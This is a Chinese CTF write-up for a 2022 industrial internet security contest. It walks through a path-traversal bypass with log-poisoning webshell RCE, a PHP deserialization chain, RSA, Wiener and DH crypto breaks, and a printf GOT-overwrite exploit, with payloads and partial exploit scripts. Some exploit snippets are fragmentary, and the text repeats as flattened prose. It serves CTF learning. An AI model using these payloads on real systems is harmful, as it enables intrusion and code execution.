2022年中国工业互联网安全大赛北京市选拔赛暨全国线上预选赛-Writeup
字数 1732 2025-08-06 18:07:44

工业互联网安全大赛Writeup教学文档

0x01 WEB - ezRead题目解析

漏洞发现与利用

  1. 初始发现

    • 题目提供URL /read.php?Book=ZGRsLnR4dA==,参数值为base64编码
    • 尝试发现存在任意文件读取漏洞,但过滤了../
  2. 绕过过滤

    • 使用str_replace复写绕过:.. var /www/ctf/read.php
    • 最终payload:read.php?Book=Li4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vdmFyL3d3dy9jdGYvcmVhZC5waHA=
  3. 源码分析

    • 读取到read.php源码确认存在str_replace过滤
    • 通过/etc/passwd发现/home/ctf目录
    • 爆破发现.bash_history文件,获取历史命令
  4. 关键突破

    • 发现V72J1dn23wjFrq/demo.php路径
    • 读取demo.php源码发现任意文件包含漏洞
    • 使用/proc/self/fd/8技巧完成RCE(日志文件描述符)
  5. 最终利用

    • 修改User-Agent注入一句话木马
    • 包含/proc/self/fd/8执行命令
    • /home/ctf目录下找到flag

0x01 WEB - wakeup题目解析

反序列化链分析

  1. 类结构分析

    • KeyPort: 含__callfinish__wakeup方法
    • ArrayObj: 含__get方法,处理私有属性访问
    • SunCorpa/MoonCorpa: 含__destruct方法作为入口点
  2. 关键绕过技术

    • 使用引用赋值绕过__wakeup限制
    • 通过ArrayObj的私有属性iffinish触发__get
    • 构造链使KeyPort->wakeup被赋值为false
  3. 利用步骤

    • 第一部分:通过引用赋值使wakeupfalse
    • 第二部分:通过引用赋值控制format数组
    • 最终调用call_user_func_array执行命令
  4. EXP构造

    class SunCorpa {
        public function __construct() {
            // 第一部分构造
            $key1 = new KeyPort();
            $arr1 = new ArrayObj($key1->wakeup);
            $arr1->name = array("iffinish" => false);
            $key1->finish = $arr1;
    
            // 第二部分构造
            $moon = new MoonCorpa();
            $moon->options = array("new" => $key1);
            $key2 = new KeyPort();
            $arr2 = new ArrayObj($key1->format);
            $arr2->name = array("iffinish" => array("forward" => "system"));
        }
    }
    

0x02 Crypto - cry1题目解析

RSA漏洞利用

  1. 题目特征

    • p和q非常接近,q = next_prime(p + 2^420)
    • 可以使用费马分解法爆破
  2. 爆破脚本

    for i in range(1, 999999):
        att = 2**420 + i
        if iroot(att**2 + 4*n, 2)[1]:
            ppp = (iroot(att**2 + 4*n, 2)[0])
            p = (ppp-att)//2
            q = n//p
            d = inverse(e,(p-1)*(q-1))
            m = pow(c,d,n)
            print(long_to_bytes(m))
    

0x02 Crypto - cry2题目解析

Wiener攻击应用

  1. 题目特征

    • 给出条件i*p-j*q < n^0.342
    • 符合Wiener攻击的变种条件
  2. 利用方法

    • 直接使用已知的p值解密
    • 因为p|n,可以直接计算φ(p)=p-1
    • 使用pow(c, inverse(e, p-1), p)解密

0x02 Crypto - cry3题目解析

DH密钥交换破解

  1. 参数分析

    • p = 2^425,离散对数问题简单
    • 可以从日志中提取A和B值
  2. 破解步骤

    • 解离散对数得到a和b
    • 计算共享密钥share = pow(A,b,p)
    • 使用SHA256生成AES密钥
    • 解密flag密文

0x03 PWN - 究极输出题目解析

格式化字符串漏洞利用

  1. 漏洞点

    • 循环内printf(buf)存在格式化字符串漏洞
    • 偏移3的位置可以leak libc地址
  2. 利用步骤

    • 泄露libc地址计算system地址
    • 通过格式化字符串修改printf的got表
    • 将printf@got改为system地址
    • 最后传入"/bin/sh"触发system调用
  3. EXP关键部分

    # leak libc
    fang.sendline("%3$p")
    libc_addr = int(fang.recv(14), 16)
    
    # write to got
    payload = "%13200c%6$hn"
    payload = "%4207505c%17$n"
    
    # modify got
    payload = "%" + str(system_addr_low) + "c%8$hhn" + 
              "%" + str(system_addr_high - system_addr_low) + "c%36$hn"
    
    # trigger
    payload = "/bin/sh\x00"
    

0x04 MISC - 签了个到题目解析

解题方法

  • 玩羊了个羊游戏,不断点击消灭方块
  • 完成游戏后自动显示flag

总结

本Writeup涵盖了多种安全技术:

  1. Web方向:文件包含绕过、反序列化链构造
  2. Crypto方向:RSA特殊参数分解、Wiener攻击、DH密钥交换破解
  3. PWN方向:格式化字符串漏洞利用
  4. MISC方向:简单游戏通关

每种技术都有其特定的应用场景和利用方法,理解这些技术的原理和实现方式对于CTF比赛和实际安全研究都至关重要。

工业互联网安全大赛Writeup教学文档 0x01 WEB - ezRead题目解析 漏洞发现与利用 初始发现 : 题目提供URL /read.php?Book=ZGRsLnR4dA== ,参数值为base64编码 尝试发现存在任意文件读取漏洞,但过滤了 ../ 绕过过滤 : 使用 str_replace 复写绕过: .. var /www/ctf/read.php 最终payload: read.php?Book=Li4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vdmFyL3d3dy9jdGYvcmVhZC5waHA= 源码分析 : 读取到 read.php 源码确认存在 str_replace 过滤 通过 /etc/passwd 发现 /home/ctf 目录 爆破发现 .bash_history 文件,获取历史命令 关键突破 : 发现 V72J1dn23wjFrq/demo.php 路径 读取 demo.php 源码发现任意文件包含漏洞 使用 /proc/self/fd/8 技巧完成RCE(日志文件描述符) 最终利用 : 修改User-Agent注入一句话木马 包含 /proc/self/fd/8 执行命令 在 /home/ctf 目录下找到flag 0x01 WEB - wakeup题目解析 反序列化链分析 类结构分析 : KeyPort : 含 __call 、 finish 和 __wakeup 方法 ArrayObj : 含 __get 方法,处理私有属性访问 SunCorpa / MoonCorpa : 含 __destruct 方法作为入口点 关键绕过技术 : 使用引用赋值绕过 __wakeup 限制 通过 ArrayObj 的私有属性 iffinish 触发 __get 构造链使 KeyPort->wakeup 被赋值为 false 利用步骤 : 第一部分:通过引用赋值使 wakeup 为 false 第二部分:通过引用赋值控制 format 数组 最终调用 call_user_func_array 执行命令 EXP构造 : 0x02 Crypto - cry1题目解析 RSA漏洞利用 题目特征 : p和q非常接近,q = next_ prime(p + 2^420) 可以使用费马分解法爆破 爆破脚本 : 0x02 Crypto - cry2题目解析 Wiener攻击应用 题目特征 : 给出条件 i*p-j*q < n^0.342 符合Wiener攻击的变种条件 利用方法 : 直接使用已知的p值解密 因为p|n,可以直接计算φ(p)=p-1 使用 pow(c, inverse(e, p-1), p) 解密 0x02 Crypto - cry3题目解析 DH密钥交换破解 参数分析 : p = 2^425,离散对数问题简单 可以从日志中提取A和B值 破解步骤 : 解离散对数得到a和b 计算共享密钥 share = pow(A,b,p) 使用SHA256生成AES密钥 解密flag密文 0x03 PWN - 究极输出题目解析 格式化字符串漏洞利用 漏洞点 : 循环内 printf(buf) 存在格式化字符串漏洞 偏移3的位置可以leak libc地址 利用步骤 : 泄露libc地址计算system地址 通过格式化字符串修改printf的got表 将printf@got改为system地址 最后传入"/bin/sh"触发system调用 EXP关键部分 : 0x04 MISC - 签了个到题目解析 解题方法 玩羊了个羊游戏,不断点击消灭方块 完成游戏后自动显示flag 总结 本Writeup涵盖了多种安全技术: Web方向:文件包含绕过、反序列化链构造 Crypto方向:RSA特殊参数分解、Wiener攻击、DH密钥交换破解 PWN方向:格式化字符串漏洞利用 MISC方向:简单游戏通关 每种技术都有其特定的应用场景和利用方法,理解这些技术的原理和实现方式对于CTF比赛和实际安全研究都至关重要。